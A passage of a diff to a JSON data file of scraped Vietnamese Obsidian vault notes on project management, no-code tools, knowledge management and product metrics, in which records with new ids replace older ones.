(exploration) là những công việc mà nếu ta chưa làm xong thì cũng không chắc lắm kết quả trông như thế nào, còn công việc khai thác (exploitation) là những công việc chưa làm cũng biết chính xác kết quả trông như thế nào. Công việc khai phá sử dụng dạng tư duy phi tuyến, và hợp với kiểu dữ liệu phi cấu trúc. Còn công việc khai thác sử dụng dạng tư duy tuyến tính, và hợp với kiểu dữ liệu có cấu trúc.\n\nBởi vì [[Công việc khai phá chính là quản lý kiến thức]], cho nên [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]]. Đây là thứ mà các ERP dựng sẵn này không đáp ứng được. Những người viết ra chúng tất nhiên cũng đã có những nghiên cứu khách hàng và cũng thiết kế nhiều lựa chọn để người dùng có thể tuỳ chỉnh ở một mức độ nào đó. Nếu không đáp ứng được nhu cầu đa số thì không thể nào giảm được chi phí sản phẩm cả. Tuy nhiên, sự dự đoán của các tác giả ấy về quy trình nghiệp vụ của một số khách hàng doanh nghiệp điển hình mà họ có thể nghĩ ra được cũng không thể nào bắt kịp được luồng làm việc và suy nghĩ thực tế của các cá nhân cụ thể. Mỗi người có một cách phân loại thông tin, yêu cầu về sự ngăn nắp thông tin, khối lượng thông tin và loại thông tin phải thường xuyên xử lý cũng khác nhau. Mỗi một luồng tư duy khác nhau có thể sẽ đòi hỏi những cách quản lý thông tin rất khác nhau. Và với một số người, cái mô đun quản lý kiến thức của chúng không gì chỉ làm cho có. Thà không dùng nó chứ dùng thì càng bực hơn. Các ERP này không đáp ứng nổi vai trò trở thành một [[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng|một giàn giáo nhận thức]] của họ. \n\nHơn nữa, ngay cả khi chỉ xét đến mô đun về quản lý giao dịch của các ERP dựng sẵn, thì cũng giống như các phần mềm quản lý tài chính cá nhân được nói ở trên, dữ liệu được lưu trong đây vẫn bị cô lập trong ERP đó. \n\nChưa kể, cái gọi là chi phí thấp ở đây chỉ là miễn phí trong một số ngày, một số tính năng hoặc đầu người. Nhưng thường thì có trả tiền để dùng thì những tính năng đó cũng không hướng đến việc trở thành một nơi để quản lý tất cả mọi thứ.\n\n[[Dùng low code để xây dựng hệ thống là đang mang nợ kỹ thuật vào người]]\n[[Chấp nhận giải pháp mì ăn liền là đang mang nợ vào người]] \n![](https://www.commitstrip.com/wp-content/uploads/2020/10/Strip-PM-et-le-Nocode650-finalenglish.jpg) ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-28T15:50:00.000Z", - "Ngày cập nhật": "2023-11-08T11:15:00.000Z", - "id": "J7" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "JL" }, { - "Tiêu đề": "Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra", + "Tiêu đề": "Sản phẩm no code đem đến sự phản hồi tức thời", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Sản phẩm no code đem đến sự phản hồi tức thời", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Bret Victor]], [Up and Down the Ladder of Abstraction](http://worrydream.com/LadderOfAbstraction/)\n\n[[Người dùng bấm bao nhiêu lần cũng được, miễn là tự tin mình đang đi đúng hướng]]\n[[Vì ta thường cần người khác cho ý kiến về suy nghĩ của ta, nên ta thường không cho được người khác ý kiến về suy nghĩ của họ]]. [[Có quá nhiều điều cần kiểm chứng nhưng dù muốn đi tìm cũng không ai chịu dành thời gian để trả lời]] \n[[Nhiều khi để trả lời được một câu hỏi ta phải tìm hiểu cả một lĩnh vực]] \n[[Mỗi một thắc mắc đều làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm]]\n[[Giả định có mặt ở khắp nơi]]. [[Giả định đến từ trực giác]]\n[[Thang đo năng lực dựa trên việc có thể đưa ra phân tích và trực giác đúng hay không]]\n[[Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình]]\n\n[[Ghi chú thì linh hoạt, nhưng tĩnh. App thì cứng nhắc, nhưng động]]\n\n[[Chơi là sự thử nghiệm các kỹ năng mới học trong những môi trường mới]]\n[[Khi khoảnh khắc loé sáng ý tưởng đến vào lúc ta đang tập trung làm việc khác, nó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm|Khi khoảnh khắc loé sáng ý tưởng đến vào lúc ta đang tập trung làm việc khác, nó làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm]]\n[[Việc kiểm định giả thuyết thường bị bỏ qua khi có quá nhiều việc]]", + "Toàn bộ nội dung": "[[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]]\n[[Excel là sản phẩm low code tồn tại lâu dài nhất]] \n[WhichNoCodeTool](https://www.whichnocodetool.com/ \"WhichNoCodeTool\")\n\n[[Sản phẩm no code không thể nào đáp ứng được nhu cầu tuỳ biến cao]] \n[[The assumption of centralization is deeply ingrained in our user experiences today, and we are only beginning to discover the consequences of changing that assumption]]\n[[Bạn có quyền chỉnh sửa dữ liệu của mình dưới bất kỳ hình thức nào]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-22T14:45:00.000Z", - "Ngày cập nhật": "2024-08-02T08:33:00.000Z", - "id": "J8" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "JM" }, { - "Tiêu đề": "Đừng chạy theo tính năng, mà hãy xác định vấn đề cần ưu tiên giải quyết và nhanh chóng kiểm tra các giả thuyết", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Kiểm định giả thuyết/Đừng chạy theo tính năng, mà hãy xác định vấn đề cần ưu tiên giải quyết và nhanh chóng kiểm tra các giả thuyết", + "Tiêu đề": "Quản lý công việc và quản lý kiến thức không thể tách rời nhau", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Quản lý công việc và quản lý kiến thức không thể tách rời nhau", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Giả định có mặt ở khắp nơi]]\nNguồn:: [[Hoàng Đức Minh]]", + "Toàn bộ nội dung": "Lý do:: [[Công việc khai phá chính là quản lý kiến thức]] \nLý do:: [[Cần nghĩ về công việc như là một cách để kiểm định giả thiết, chứ không phải chỉ để hoàn thành]]\n[[Công việc và cuộc sống không thể tách rời nhau]]\n\n[[Công việc khai phá và công việc khai thác]]\n[[Insight through making]] \n[[Ý tưởng sinh ra không theo độ khẩn cấp]]\nThách thức:: [[Obsidian không mạnh về quản lý tác vụ]]\n\n---\n#### 🚨 Organizations accumulate information in different places\n\nAll organizations use dozens or hundreds of tools to accumulate information: Notes, Spreadsheets, CRM, Project management tools, etc.\n\n- Knowledge management and work management separation create a false dichotomy that is reflected in tools and approaches. Information lives in many tools, so you can’t really navigate it in a unified way.\n- Many tools increase knowledge fragmentation in organizations. It is hard to create, connect and discover knowledge.\n- With deeper tools specialization, we are losing more and more context and maybe even de-augment organizations.\n\nIn the perfect world, the knowledge tool is singular and has well connected things, like a brain.\n\n#### 🚨 Organizations just store knowledge and put little attention to connections\n\nThis is super-weird in fact. Connections are what help us invent new things and generate insights. Without connections, information is often undiscoverable.\n\nThere are two reasons for that behavior:\n\n1. Most note-taking/wiki software doesn’t have good enough tools to create, navigate, and manage connections.\n2. Explicit connection creation is a heavy cognitive task, so people tend to skip it.\n\nIn the perfect world, connections are automatic and vast, like in a brain. In a semi-perfect world, we at least have good tools to create and manage connections.\n\n#### 🚨 Organizations handle knowledge evolution poorly\n\nKnowledge evolves, processes evolve, structures evolve. It all means that you can’t solidify any tool and expect it to survive. However, that is how most of the existing tools are designed. You often have a fixed domain to work with limited extendability. This may shorten the organization’s life-span since eventually, the company becomes blind and rigid.\n\nIn the perfect world, knowledge evolves in a tool, like in a brain. Our tool should support information and connections evolution, mutation, and recombination.\n\nNguồn:: [Augmenting Organizational Intelligence](https://fibery.io/blog/augmenting-organizational-intelligence/)\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-28T04:09:00.000Z", - "id": "J9" + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "JN" }, { - "Tiêu đề": "Làm sản phẩm thiên về cảm giác, làm tăng trưởng thiên về dữ liệu", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Làm sản phẩm thiên về cảm giác, làm tăng trưởng thiên về dữ liệu", + "Tiêu đề": "Sự khác biệt giữa các ứng dụng quản lý chủ yếu ở nghiệp vụ cần giải quyết chứ không nằm ở yếu tố kỹ thuật", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Sự khác biệt giữa các ứng dụng quản lý chủ yếu ở nghiệp vụ cần giải quyết chứ không nằm ở yếu tố kỹ thuật", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "Ứng dụng quản lý (Line-of-Business, LOB) là loại phần mềm phổ biến nhất đối với doanh nghiệp. Về bản chất, có thể hình dung ứng dụng quản lý là một dạng giao diện giữa người dùng và cơ sở dữ liệu.\n\nCác công việc chính mà một ứng dụng quản lý thực hiện là các thao tác với dữ liệu, bao gồm tạo mới (Create), đọc (Retrieve), cập nhật (Update), và xóa (Delete). Vì vậy, các ứng dụng quản lý cũng thường được gọi là những ứng dụng CRUD.\n\nVới đặc điểm trên, khi phát triển một ứng dụng quản lý, nhiệm vụ chính mà lập trình viên phải thực hiện là xây dựng các screen giúp người dùng thực hiện các tác vụ CRUD trên dữ liệu. Thông thường, mỗi domain class/entity sẽ đòi hỏi một nhóm screen thực hiện các tác vụ CRUD trên class/entity đó.\n\nĐiều này dẫn đến việc phát triển ứng dụng quản lý đều thực hiện theo một khuôn mẫu chung, từ giao diện người dùng đến tương tác với dữ liệu.\n\nSự khác biệt lớn nhất giữa các ứng dụng quản lý có lẽ là ở bài toán / nghiệp vụ cần giải quyết chứ không nằm ở yếu tố kỹ thuật.\n\nDo đặc thù gần như mọi thứ đi theo khuôn mẫu chung, các hãng hoặc các nhóm phát triển phần mềm thường xây dựng ra các công cụ giúp tự động hóa một phần hoặc toàn phần việc tạo ra các ứng dụng quản lý.\n\nNguồn:: [[tuhocict]], [Radzen Blazor - Công cụ phát triển nhanh ứng dụng quản lý | Tự học ICT](https://tuhocict.com/radzen-blazor-cong-cu-phat-trien-nhanh-ung-dung-quan-ly/)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-09T16:44:00.000Z", - "Ngày cập nhật": "2023-11-17T15:29:00.000Z", - "id": "JA" + "Ngày tạo": "2023-07-22T04:32:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "JO" }, { - "Tiêu đề": "Mô hình xoắn ốc nhấn mạnh vào phân tích rủi ro", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Mô hình xoắn ốc nhấn mạnh vào phân tích rủi ro", + "Tiêu đề": "Ta được hứa hẹn sẽ có những chiếc xe đạp cho tâm trí. Thay vào đó ta lại có máy bay", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Ta được hứa hẹn sẽ có những chiếc xe đạp cho tâm trí. Thay vào đó ta lại có máy bay", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nMô hình xoắn ốc (Spiral model) có thể được xem là sự kết hợp giữa mô hình thác nước (Waterfall model) và mô hình mẫu (Prototype model) và đồng thời thêm phân tích rủi ro (Risk assessment).\n\nTrong mô hình xoắn ốc, quy trình phát triển phần mềm được biểu diễn như một vòng xoắn ốc. Các phase trong quy trình phát triển xoắn ốc bao gồm:\n\n- **Thiết lập mục tiêu**: xác định mục tiêu cho từng pha của dự án.\n- **Đánh giá và giảm thiểu rủi ro**: rủi ro được đánh giá và thực hiện các hành động để giảm thiểu rủi ro.\n- **Phát triển và đánh giá**: sau khi đánh giá rủi ro, một mô hình xây dựng hệ thống sẽ được lựa chọn từ những mô hình chung.\n- **Lập kế hoạch**: đánh giá dự án và phase tiếp theo của mô hình xoắn ốc sẽ được lập kế hoạch.\n\n![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_1152,h_736/https://lcdung.top/wp-content/uploads/2018/06/The-Boehms-spiral-model.png)\n\n## Mô hình xoắn ốc cải tiến\n\n- Mô hình xoáy ốc là cải tiến của mô hình tuần tự và mẫu thử, them vào phân tích rủi ro.\n- Là quá trình lặp hướng mở rộng, hoàn thiện dần.\n- Lập kế hoạch: xác lập vấn đề, tài nguyên, thời hạn\n- Phân tích rủi ro: xem xét mạo hiểm, tìm giải pháp\n- Kỹ nghệ: phát triển một phiên bản của phần mềm( chọn mô hình thích hợp)\n- Đánh giá của khách: khách hang đánh giá phiên bản phát triển.\n\n## Kết quả đạt được\n\n- Sau mỗi lần tăng vòng thì có thể chuyển giao kết quả thực hiện được cho khách hành nên các chức năng của hệ thống có thể nhìn thấy sớm hơn.\n- Các vòng trước đóng vai trò là mẫu thử để giúp tìm hiểu thêm các yêu cầu ở những vòng tiếp theo.\n\n### Ưu điểm\n\n- Phân tích rủi ro dự án được đầy lên làm một phần thiết yếu trong quy trình xoắn ốc để tăng độ tin cậy của dự án.\n- Xây dựng dự án có sự kết hợp các mô hình khác vào phát triển (Thác nứơc, mô hình mẫu…)\n- Cho phép thay đổi tuỳ theo yêu cầu cho mỗi vòng xoắn ốc.\n- Nó được xem như là một mô hình tổng hợp của các mô hình khác.\n- Không chỉ áp dụng cho phần mềm mà còn phải cho cả phần cứng.\n- Một rủi ro nào đó không được giải quyết thì chấm dứt dự án.\n- Các vòng tròn được lặp để đáp ưng được những thay đổi của người dùng\n- Kiểm soát rủi ro ở từng giai đoạn phát triển.\n- Đánh giá tri phí chính xác hơn các phương pháp khác\n\n### Nhược điểm:\n\n- Phức tạp và không thích hợp với các dự án nhỏ và ít rủi ro.\n- Cần có kỹ năng tốt về phân tích rủi ro.\n- Yêu cầu thay đổi thường xuyên dẫn đến lặp vô hạn\n- Chưa được dùng rộng dãi như mô hình thác nước hay là mẫu.\n- Đòi hỏi năng lực quản lý\n\nNguồn:: [Quy trình phát triển phần mềm - mô hình xoắn ốc (The Boehm's spiral model) - LCDUNG](https://lcdung.top/quy-trinh-phat-trien-phan-mem-mo-hinh-xoan-oc-the-boehms-spiral-model/)", + "Toàn bộ nội dung": "- We were promised bicycles but instead we got aircraft carriers\n- Bicycles: personal, light, moddable\n- Aircraft carriers: industrial, heavy, manufactured\n\nNguồn:: [Personal and cozy software](https://jzhao.xyz/thoughts/cozy-software#against-universal-design)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-04-03T06:41:00.000Z", - "id": "JB" + "Ngày tạo": "2024-08-05T14:35:00.000Z", + "Ngày cập nhật": "2024-09-02T07:42:00.000Z", + "id": "JP" }, { - "Tiêu đề": "1 nghiên cứu 20 ngày khác với 4 nghiên cứu 5 ngày", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/1 nghiên cứu 20 ngày khác với 4 nghiên cứu 5 ngày", + "Tiêu đề": "An outcome is a change in human behavior that drives business results", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/An outcome is a change in human behavior that drives business results", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n[[Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian]]\n[[Những câu hỏi đánh giá tác động đòi hỏi phải nghiên cứu sâu]]\n[[Nhiều khi vấn đề chỉ được phát hiện ra khi đến khâu triển khai ý tưởng]]\n", + "Toàn bộ nội dung": "Outcomes have nothing to do with making stuff—though they sometimes are created by making the right stuff. Instead, outcomes are the changes in customer, user, employee behavior that lead to good things for your company, your organization, or whomever is the focus of your work.\n\nNó là câu trả lời cho câu hỏi \"tôi tham gia nơi này vì điều gì?\" \n\n- You can manage a team by telling them what to make: that’s called managing outputs. It’s a problem, because features don’t always deliver value.\n- You can manage a team by asking them to create some high-level value, like growing revenue. That’s called managing impact. It’s a problem because it’s not specific enough.\n- What you want is to manage with outcomes: ask teams to create a specific customer behavior that drives business results. That allows them to find the right solution, and keeps them focused on delivering value.\n- For our purposes, an outcome is “a change in customer behavior that drives business results.”\n- Defining outcomes in terms of customer behaviors creates a more customer-centric and user-centric way of working.\n- Outcomes and Agility: using outcomes to direct the work of your teams unlocks your team’s creativity. They will work to find the best solution to the problem at hand in order to create the outcome you seek.\n- To figure out if your outputs create the outcomes you seek, you need to test and run experiments. MVP is just a buzzword that means “experiment.”\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-09T16:41:00.000Z", - "Ngày cập nhật": "2023-11-28T07:40:00.000Z", - "id": "JC" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-03-03T12:48:00.000Z", + "id": "JQ" }, { - "Tiêu đề": "Biểu đồ cánh hoa phù hợp cho việc phân tích bối cảnh cạnh tranh ở một thị trường mới hoặc resegmented markets", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Các bên liên quan, bối cảnh cạnh tranh/Biểu đồ cánh hoa phù hợp cho việc phân tích bối cảnh cạnh tranh ở một thị trường mới hoặc resegmented markets", + "Tiêu đề": "Bởi vì sản phẩm có tính quy hồi và có thể là thành phẩm chung của nhiều sản phẩm lớn hơn, nên để quản lý được nó ta phải biết lập trình", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Bởi vì sản phẩm có tính quy hồi và có thể là thành phẩm chung của nhiều sản phẩm lớn hơn, nên để quản lý được nó ta phải biết lập trình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![slide4.jpg](https://i0.wp.com/steveblank.com/wp-content/uploads/2013/11/slide4.jpg?resize=300%2C292)\r\n[[Biểu đồ cạnh tranh XY phù hợp cho việc phân tích bối cảnh cạnh tranh trên một thị trường đã có sẵn]]. [[Biểu đồ cạnh tranh XY phù hợp cho việc phân tích bối cảnh cạnh tranh trên một thị trường đã có sẵn]] \r\n\r\nNguồn:: Steve Blank, [A New Way to Look at Competitors](https://steveblank.com/2013/11/08/a-new-way-to-look-at-competitors/ \"A New Way to Look at Competitors\")\r\n", + "Toàn bộ nội dung": "Lý do:: [[Dữ liệu chính là lập trình]] \n[[Lập trình là việc hướng dẫn máy làm theo đúng ý mình, chứ không phải chỉ mỗi viết code]]\n[[Lập trình là một cái gì đó thâm nhập vào đời sống của chúng ta, nhưng lại gần như vô hình]]\n\nQuy hồi (recursive) là việc [[Một sản phẩm được tạo nên bởi nhiều thành phẩm. Thứ ta gọi là sản phẩm thành phần, hoặc sản phẩm nhỏ hơn, chính là thành phẩm|một sản phẩm được tạo nên bởi nhiều sản phẩm nhỏ hơn]]\n[[Sản phẩm là vật thể]]\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "JD" + "Ngày tạo": "2023-06-02T08:52:00.000Z", + "Ngày cập nhật": "2024-03-03T09:35:00.000Z", + "id": "JR" }, { - "Tiêu đề": "Biểu đồ cạnh tranh giúp ta có được những giả định đầu tiên về những khách hàng đầu tiên của chúng ta", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Các bên liên quan, bối cảnh cạnh tranh/Biểu đồ cạnh tranh giúp ta có được những giả định đầu tiên về những khách hàng đầu tiên của chúng ta", + "Tiêu đề": "Chỉ số ta theo đuổi phải là chỉ số về giá trị của sản phẩm đối với người dùng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Chỉ số ta theo đuổi phải là chỉ số về giá trị của sản phẩm đối với người dùng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Biểu đồ cạnh tranh XY phù hợp cho việc phân tích bối cảnh cạnh tranh trên một thị trường đã có sẵn]]. [[Biểu đồ cánh hoa phù hợp cho việc phân tích bối cảnh cạnh tranh ở một thị trường mới hoặc resegmented markets]]\r\n\r\nNguồn:: Steve Blank, [A New Way to Look at Competitors](https://steveblank.com/2013/11/08/a-new-way-to-look-at-competitors/ \"A New Way to Look at Competitors\")\r\n", + "Toàn bộ nội dung": "> What should stand out in the definition above are the expressions: _“grow this metric”_ and _“driving sustainable growth.”_ These two simple sentences make it crystal clear what the goal of the NSM should be. What’s less obvious and the part that companies always fail to spot is the “_core value that your product delivers to customers.”_ This is the purpose of the NSM! And yet, as I look around at product teams I’ve worked with, I cannot help but feel that somehow, somewhere we _lost our way, following the wrong star._\n\nNguồn:: [Why the term “North Star Metric” is a terrible metaphor for product success | by Bhavik Patel | CRAP Talks | Medium](https://medium.com/1point96/why-the-term-north-star-metric-is-a-terrible-metaphor-for-product-success-27560fb245f6)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "JE" + "Ngày tạo": "2023-11-26T08:33:00.000Z", + "Ngày cập nhật": "2023-11-26T08:35:00.000Z", + "id": "JS" }, { - "Tiêu đề": "Biểu đồ cạnh tranh XY phù hợp cho việc phân tích bối cảnh cạnh tranh trên một thị trường đã có sẵn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Các bên liên quan, bối cảnh cạnh tranh/Biểu đồ cạnh tranh XY phù hợp cho việc phân tích bối cảnh cạnh tranh trên một thị trường đã có sẵn", + "Tiêu đề": "Chỉ theo đuổi một chỉ số là quá đơn giản", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Chỉ theo đuổi một chỉ số là quá đơn giản", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Biểu đồ cánh hoa phù hợp cho việc phân tích bối cảnh cạnh tranh ở một thị trường mới hoặc resegmented markets]]. [[Biểu đồ cạnh tranh giúp ta có được những giả định đầu tiên về những khách hàng đầu tiên của chúng ta]]\r\n\r\nNguồn:: Steve Blank, [A New Way to Look at Competitors](https://steveblank.com/2013/11/08/a-new-way-to-look-at-competitors/ \"A New Way to Look at Competitors\")\r\n", + "Toàn bộ nội dung": "Khái niệm:: [[Đơn giản]]\nNguồn:: [Don’t measure your product using a north star metric](https://kashishhora.com/dont-measure-your-product-using-a-north-star-metric/)\nMâu thuẫn với:: [[Sự đơn giản ép ta phải làm nó cực kỳ tốt]]\n\n[[Phân tích quyết định đa tiêu chí (MCDA) là phương pháp để tìm điểm đánh đổi tối ưu nhất]]\n[[Hiểu biết không chỉ để mình làm một cái gì đó, mà còn để mình không làm một cái gì đó]]\n[[Con người sẽ theo đuổi kỹ năng mới với giá trị tiềm năng trong phạm vi dự đoán]]\n\n---\nStop treating “north star metrics” like the end-all be-all metric and accept the fact that there is no one metric that summarizes your entire product. **Products and users are complex and can’t be summed up by a single “north star” metric.**\n\nWhat would happen if tomorrow, Apple or Facebook decided to stop reporting anything in their quarterly earnings report except one number? Well, aside from potential SEC lawsuits, the stock price would tumble because nobody would have a clue how they were growing!\n\nIn the same way, your products growth is not a linear function that goes up and to the right. Understanding your product’s growth is like reading a story, not a graph. What you can do, however, is come up with a list of “guidance metrics” that are informative and actionable.\n\nLet’s help John with this.\n\n1. Create a list of core user actions – what are the three main actions users can do when using your product? For John, this list is:\n 1. Viewing a new episode.\n 2. Subscribing to a new podcast.\n 3. Uploading a new episode for a user’s own podcast.\n2. Find a good metric to measure how many users you have. Say Weekly Active Users (WAU), where “active” is defined by someone opening his app for at least 5 seconds.\n3. Now, put (1) and (2) together! John’s guidance metrics are:\n 1. Episodes Viewed/WAU\n 2. Subscribes/WAU\n 3. Uploads/WAU.\n\n![How to come up with guidance metrics](https://kashishhora.com/img/guidance_metrics.png)\n\nNow, John can either create a growth model using these metrics to forecast his product’s growth, create dashboards of these metrics over time so everybody can understand how the product is growing in realtime, measure the success of new features based on what user behavior they should drive – the possibilities are endless!\n\nBy using the three steps outlined above to come up with **guidance metrics**, you can ensure you’re constantly measuring your products growth without being overly focused on one north star metric.\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "JF" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-01-01T08:04:00.000Z", + "id": "JT" }, { - "Tiêu đề": "Các mạng xã hội có những báo cáo về xu hướng của người dùng nền tảng của họ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Các bên liên quan, bối cảnh cạnh tranh/Các mạng xã hội có những báo cáo về xu hướng của người dùng nền tảng của họ", + "Tiêu đề": "Các chỉ số đo lường thu nhập", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Các chỉ số đo lường thu nhập", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Reddit Radar](https://connect.redditinc.com/hubfs/reddit-radar/pdfs/reddit-radar-the-rebalancing-act.pdf), [Meta Foresight](https://www.facebook.com/business/foresight \"Digital Insights and Marketing Research | Meta for Business\"), [Google Trends](https://trends.google.com/trends \"Google Trends\")\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "JG" + "Ngày cập nhật": "2023-11-27T15:22:00.000Z", + "id": "JU" }, { - "Tiêu đề": "Tổng hợp các cách biểu diễn các bên liên quan", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Các bên liên quan, bối cảnh cạnh tranh/Tổng hợp các cách biểu diễn các bên liên quan", + "Tiêu đề": "Dựa vào KPI thì bộ phận kinh doanh sẽ có tiếng nói lớn nhất, còn đội phát triển sản phẩm rất ít có tiếng nói", + "URL": 